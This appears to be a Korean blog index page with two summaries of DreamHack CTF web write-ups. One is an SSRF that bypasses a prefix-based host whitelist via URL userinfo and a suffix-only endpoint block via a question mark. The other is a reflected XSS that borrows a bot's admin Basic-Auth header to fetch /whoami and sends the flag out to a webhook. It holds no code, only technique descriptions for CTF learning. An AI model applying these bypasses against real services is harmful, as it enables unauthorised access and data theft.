"simple api server" ๋ผ๋Š” ํ•œ ์ค„ ์„ค๋ช…์ด ์ „๋ถ€์ธ ๋ฌธ์ œ. 46์ค„์งœ๋ฆฌ Flask ์•ฑ์ด url ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ฐ›์•„ curl ๋กœ ๋Œ€์‹  ์š”์ฒญํ•ด ์ฃผ๋Š”๋ฐ, ํ˜ธ์ŠคํŠธ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ๊ฐ€ ์ ‘๋‘์‚ฌ ๋น„๊ต๋ผ์„œ URL ์˜ userinfo ๋ฅผ ๋ผ์›Œ ๋„ฃ์œผ๋ฉด ํ†ต๊ณผํ•˜๊ณ , ์—”๋“œํฌ์ธํŠธ ์ฐจ๋‹จ์€ ๋ฌธ์ž์—ด ๋๋งŒ ๋ด์„œ ๋ฌผ์Œํ‘œ ํ•˜๋‚˜์— ๋ฌด๋„ˆ์ง„๋‹ค. ๋‘ ๊ตฌ๋ฉ์„ ํ•œ ์ค„์— ๊ฒน์ณ ๋†“์œผ๋ฉด ์„œ๋ฒ„๊ฐ€ ์ž๊ธฐ ์ž์‹ ์—๊ฒŒ ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ  ํ”Œ๋ž˜๊ทธ๋ฅผ ๋ฑ‰๋Š”๋‹ค.
#dreamhack#ctf#web+6
2026-07-29#dreamhack +4
[๐Ÿฅ‰ Bronze 1] ๋ด‡์˜ admin ํ—ค๋”๋ฅผ ๋นŒ๋ ค /whoami ํ„ธ๊ธฐ โ€” DreamHack Are you admin? ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 1] ๋ด‡์˜ admin ํ—ค๋”๋ฅผ ๋นŒ๋ ค /whoami ํ„ธ๊ธฐ โ€” DreamHack Are you admin? ํ’€์ด

intro ํŽ˜์ด์ง€์˜ name์ด `| safe`๋กœ ์ด์Šค์ผ€์ดํ”„ ์—†์ด ๋ Œ๋”๋˜๋Š” reflected XSS. ๋ด‡์€ ๋ชจ๋“  ์š”์ฒญ์— admin Basic-Auth ํ—ค๋”๋ฅผ ์ž๋™์œผ๋กœ ๋ถ™์ด๊ณ  ๋‹ค๋‹ˆ๋ฏ€๋กœ, ๋ด‡ ์ปจํ…์ŠคํŠธ์—์„œ /whoami๋ฅผ fetchํ•˜๋ฉด admin์œผ๋กœ ์ธ์ฆ๋ผ FLAG๊ฐ€ ๋‚˜์˜จ๋‹ค. ์ด๋ฅผ webhook์œผ๋กœ ๋นผ๋‚ธ ๊ณผ์ •.
#dreamhack#ctf#web+5
2026-06-04#dreamhack +4